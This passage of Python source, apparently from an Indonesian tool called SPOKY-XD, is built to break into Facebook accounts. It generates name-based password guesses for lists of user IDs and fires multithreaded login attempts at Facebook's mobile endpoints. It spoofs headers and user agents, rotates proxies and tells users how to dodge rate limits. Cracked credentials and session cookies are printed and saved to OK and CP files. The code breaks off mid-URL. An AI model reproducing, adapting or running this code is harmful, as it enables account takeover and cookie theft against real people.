- pwplus=input(f'{P}╰─◕➤ TAMBAHKAN PW MANUAL ? Y/T ')
- print('╰───────────────────────────╯')
- if pwplus in ['y','Ya']:
- pwpluss.append('ya')
- cetak(nel('[[white]•[white]] Masukkan Katasandi Tambahan Minimal 6 Karakter\n[[white]•[white]] Contoh :[green] Bandung,Jakarta,Karawang[white] '))
- pwku=input(f'{P}╰─◕➤ MASUKAN PASSWORD MANUAL : ')
- pwkuh=pwku.split(',')
- for xpw in pwkuh:
- pwnya.append(xpw)
- else:
- pwpluss.append('no')
- cetak(nel(f'[bold white]ON/OFF MODE PESAWAT ✈️ SETIAP 500 IDZ,AGAR TERHINDAR DARI SPAM IP ',width=70,padding=(0,1),title=f"[bold yellow]WARNING",style=f"bold blue"))
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(' ')[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- pwv.append(frs+'12345')
- pwv.append(frs+'123456')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- pwv.append(frs+'12345')
- pwv.append(frs+'123456')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'mobile' in method:
- pool.submit(crackmobile,idf,pwv)
- elif 'mobilev2' in method:
- pool.submit(crackmobilev2,idf,pwv)
- elif 'mobilev3' in method:
- pool.submit(crackmobilev3,idf,pwv)
- else:
- pool.submit(crackmobile,idf,pwv)
- print('')
- print(f'>>>Crack Telah Selesai,Semoga Anda Bersyukur Dengan Hasil Nya<<<')
- print(f' [{h}•{x}]{h} OK : {h}%s '%(ok))
- print(f'{x} [{h}•{x}]{k} CP : {k}%s{x} '%(cp))
- print('╭────────────────────────────╮')
- print(' | Lanjut Crack Kembali ( Y/t ) ? ')
- print('╰────────────────────────────╯')
- woi = input('☞Pilih : ')
- if woi in ['y','Y']:
- back()
- else:
- print(f'\t{x}☞{b} Good Bye Dadaahh Jangan Lupa Bersukur{x} ☜ ')
- time.sleep(2)
- exit()
- def cektahun(fx):
- if len(fx)==15:
- if fx[:10] in ['1000000000'] :tahunz = '2009'
- elif fx[:9] in ['100000000'] :tahunz = '2009'
- elif fx[:8] in ['10000000'] :tahunz = '2009'
- elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
- elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
- elif fx[:6] in ['100001'] :tahunz = '2010'
- elif fx[:6] in ['100002','100003'] :tahunz = '2011'
- elif fx[:6] in ['100004'] :tahunz = '2012'
- elif fx[:6] in ['100005','100006'] :tahunz = '2013'
- elif fx[:6] in ['100007','100008'] :tahunz = '2014'
- elif fx[:6] in ['100009'] :tahunz = '2015'
- elif fx[:5] in ['10001'] :tahunz = '2016'
- elif fx[:5] in ['10002'] :tahunz = '2017'
- elif fx[:5] in ['10003'] :tahunz = '2018'
- elif fx[:5] in ['10004'] :tahunz = '2019'
- elif fx[:5] in ['10005'] :tahunz = '2020'
- elif fx[:5] in ['10006'] :tahunz = '2021'
- elif fx[:5] in ['10009'] :tahunz = '2023'
- elif fx[:5] in ['10007','10008']:tahunz = '2022'
- else:tahunz=''
- elif len(fx) in [9,10]:
- tahunz = '2008'
- elif len(fx)==8:
- tahunz = '2007'
- elif len(fx)==7:
- tahunz = '2006'
- else:tahunz=''
- return tahunz
- ###╭∩╮(︶.︶メ)[ METODE-MOBILE V1 ](︶.︶メ)╭∩╮###
- def crackmobile(idf,pwv):
- global loop,ok,cp
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- sys.stdout.write(f"\r{h} 👾 SPOKY-XD {idf}{x} {loop}/{len(id)} {h}OK-:{ok} {k}CP-:{cp} {P}{'{:.0%}'.format(loop/float(len(id)))}{P} "),
- sys.stdout.flush()
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- link = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- data = {
- 'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- 'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
- 'm_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),
- 'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),
- 'try_number': 0,
- 'unrecognized_tries': 0,
- 'email':idf,
- 'pass':pw,
- 'login':'Masuk',
- 'prefill_contact_point': '',
- 'prefill_source': '',
- 'prefill_type': '',
- 'first_prefill_source': '',
- 'first_prefill_type': '',
- 'had_cp_prefilled': False,
- 'had_password_prefilled': False,
- 'is_smart_lock': False,
- 'bi_xrwh': 0
- }
- headers = {'Host': 'm.facebook.com','x-fb-rlafr': '0','access-control-allow-origin': '*','facebook-api-version': 'v12.0','strict-transport-security': 'max-age=15552000; preload','pragma': 'no-cache','cache-control': 'private, no-cache, no-store, must-revalidate','x-fb-request-id': 'A3PUDZnzy2xgkMAkH9bcVof','x-fb-trace-id': 'Cx4jrkJJire','x-fb-rev': '1007127514','x-fb-debug': 'AXRLN2ab6tbNBxFWS6kiERe8mEyeHkpYgc1xM77joSCak8hY1B2+tWfeptUXVmRpMqno2j95r13+cw0bLoOi4A==','content-length': '2141','cache-control': 'max-age=0','sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','save-data': 'on','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','referer': 'https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate','accept-language': 'id-ID,id;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6'}
- link = random.choice(["https://m.facebook.com/login/device-based/regular/login/?api_key=140810032656374&auth_token=63ed3e768f0e783f4cc81a6b1026c500&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fclient_id%3D140810032656374%26redirect_uri%3Dhttps%253A%252F%252Faccounts.pixiv.net%252Fpigya%252Fproxy%252Fcallback%252Ffacebook%26response_type%3Dcode%26scope%3Demail%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dd3e7e4df-8e7b-42c9-81a7-ee0e2abb19c9%26tp%3Dunspecified&refsrc=deprecated&app_id=140810032656374&cancel=https%3A%2F%2Faccounts.pixiv.net%2Fpigya%2Fproxy%2Fcallback%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%23_%3D_&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=7ade521eceaab1458866d9821149d64f&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv2.9%2Fdialog%2Foauth%3Fapp_id%3D213560439114%26cbt%3D1677182177996%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df11da1fc663793c%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%26client_id%3D213560439114%26display%3Dtouch%26domain%3Dwww.starmakerstudios.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Flogin%252Fpage%253Freturn_url%253D%252Finstrumental%252Fupload%26locale%3Dzh_CN%26logger_id%3Df2bda15588a0498%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df1931b4149a3a44%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%2526frame%253Df3f39a10ef963dc%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26scope%3Demail%26sdk%3Djoey%26version%3Dv2.9%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df1931b4149a3a44%26domain%3Dwww.starmakerstudios.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Ff1245028efb5658%26relation%3Dopener%26frame%3Df3f39a10ef963dc%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=5f8c7178a13395b4cd272a3e1897de8b&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D213560439114%26cbt%3D1677419913361%26e2e%3D%257B%2522init%2522%253A1677419913361%257D%26ies%3D1%26sdk%3Dandroid-14.1.1%26sso%3Dchrome_custom_tab%26nonce%3D063978e3-28aa-4a0f-bbc6-9272a9973fcb%26scope%3Duser_birthday%252Copenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%252Cemail%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D%26code_challenge_method%3DS256%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.starmakerinteractive.starmaker%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26code_challenge%3DP1LSLToQntEH2uBpWwB7VQimlXskVC9z-rHLt8TMxh0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D81b4243d-16d4-4293-aa47-6359abf5abdd%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=fbconnect%3A%2F%2Fcct.com.starmakerinteractive.starmaker%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D&lwv=100&locale2=id_ID&refid=9"])
- po = ses.post(link,data=data,headers=headers,allow_redirects=False)
- if "checkpoint" in po.cookies.get_dict().keys():
- print("")
- tree = Tree(f" ")
- tree.add(f"[CP] [bold yellow]{idf}|{pw} >> {cektahun(idf)} ")
- tree.add(f"[•] [bold white]UGEN : [bold blue]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- print('')
- tree = Tree(f" ")
- tree.add(f"[OK] [bold green]{idf}|{pw} >> {cektahun(idf)} ")
- tree.add(f" [bold green]{kuki}\n")
- tree.add(f"[•] [bold white]UGEN : [bold purple]{ua}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- ###╭∩╮(︶.︶メ)[ MATODE-MOBILE V2 ](︶.︶メ)╭∩╮###
- def crackmobilev2(idf,pwv):
- global loop,ok,cp
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- sys.stdout.write(f"\r{h} 👾 SPOKY-XD {idf}{x} {loop}/{len(id)} {h}OK-:{ok} {k}CP-:{cp} {P}{'{:.0%}'.format(loop/float(len(id)))}{P} "),
- sys.stdout.flush()
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=1862952583919182&kid_directed_site=0&app_id=1862952583919182&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv2.9%2Fdialog%2Foauth%2F%3Fplatform%3Dfacebook%26client_id%3D1862952583919182%26response_type%3Dtoken%26redirect_uri%3Dhttps%253A%252F%252Fwww.tiktok.com%252Flogin%252F%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%26scope%3Dpublic_profile%26auth_type%3Dreauthenticate%26display%3Dpopup%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dc5ab7d53-0810-47b0-8640-39adfbf98cfd%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.tiktok.com%2Flogin%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://developers.facebook.com/tools/debug/accesstoken/","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,allow_redirects=False)
- if "checkpoint" in po.cookies.get_dict().keys():
- print("")
- tree = Tree(f" ")
- tree.add(f"[CP] [bold yellow]{idf}|{pw} >> {cektahun(idf)} ")
- tree.add(f"[•] [bold white]UGEN : [bold blue]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- print('')
- tree = Tree(f" ")
- tree.add(f"[OK] [bold green]{idf}|{pw} >> {cektahun(idf)} ")
- tree.add(f" [bold green]{kuki}\n")
- tree.add(f"[•] [bold white]UGEN : [bold purple]{ua}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- ###╭∩╮(︶.︶メ)[ METODE MOBILE V3 ](︶.︶メ)╭∩╮###
- def crackmobilev3(idf,pwv):
- global loop,ok,cp
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- sys.stdout.write(f"\r{h} 👾 SPOKY-XD {idf}{x} {loop}/{len(id)} {h}OK-:{ok} {k}CP-:{cp} {P}{'{:.0%}'.format(loop/float(len(id)))}{P} "),
- sys.stdout.flush()
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- link = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- data = {
- 'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- 'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
- 'm_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),
- 'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),
- 'try_number': 0,
- 'unrecognized_tries': 0,
- 'email':idf,
- 'pass':pw,
- 'login':'Masuk',
- 'prefill_contact_point': '',
- 'prefill_source': '',
- 'prefill_type': '',
- 'first_prefill_source': '',
- 'first_prefill_type': '',
- 'had_cp_prefilled': False,
- 'had_password_prefilled': False,
- 'is_smart_lock': False,
- 'bi_xrwh': 0
- }
- headers = {'Host': 'm.facebook.com','x-fb-rlafr': '0','access-control-allow-origin': '*','facebook-api-version': 'v12.0','strict-transport-security': 'max-age=15552000; preload','pragma': 'no-cache','cache-control': 'private, no-cache, no-store, must-revalidate','x-fb-request-id': 'A3PUDZnzy2xgkMAkH9bcVof','x-fb-trace-id': 'Cx4jrkJJire','x-fb-rev': '1007127514','x-fb-debug': 'AXRLN2ab6tbNBxFWS6kiERe8mEyeHkpYgc1xM77joSCak8hY1B2+tWfeptUXVmRpMqno2j95r13+cw0bLoOi4A==','content-length': '2141','cache-control': 'max-age=0','sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','save-data': 'on','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','referer': 'https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate','accept-language': 'id-ID,id;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6'}
- link = random.choice(["https://m.facebook.com/login/device-based/regular/login/?api_key=140810032656374&auth_token=63ed3e768f0e783f4cc81a6b1026c500&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fclient_id%3D140810032656374%26redirect_uri%3Dhttps%253A%252F%252Faccounts.pixiv.net%252Fpigya%252Fproxy%252Fcallback%252Ffacebook%26response_type%3Dcode%26scope%3Demail%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dd3e7e4df-8e7b-42c9-81a7-ee0e2abb19c9%26tp%3Dunspecified&refsrc=deprecated&app_id=140810032656374&cancel=https%3A%2F%2Faccounts.pixiv.net%2Fpigya%2Fproxy%2Fcallback%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%23_%3D_&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=7ade521eceaab1458866d9821149d64f&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv2.9%2Fdialog%2Foauth%3Fapp_id%3D213560439114%26cbt%3D1677182177996%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df11da1fc663793c%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%26client_id%3D213560439114%26display%3Dtouch%26domain%3Dwww.starmakerstudios.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Flogin%252Fpage%253Freturn_url%253D%252Finstrumental%252Fupload%26locale%3Dzh_CN%26logger_id%3Df2bda15588a0498%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df1931b4149a3a44%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%2526frame%253Df3f39a10ef963dc%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26scope%3Demail%26sdk%3Djoey%26version%3Dv2.9%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&r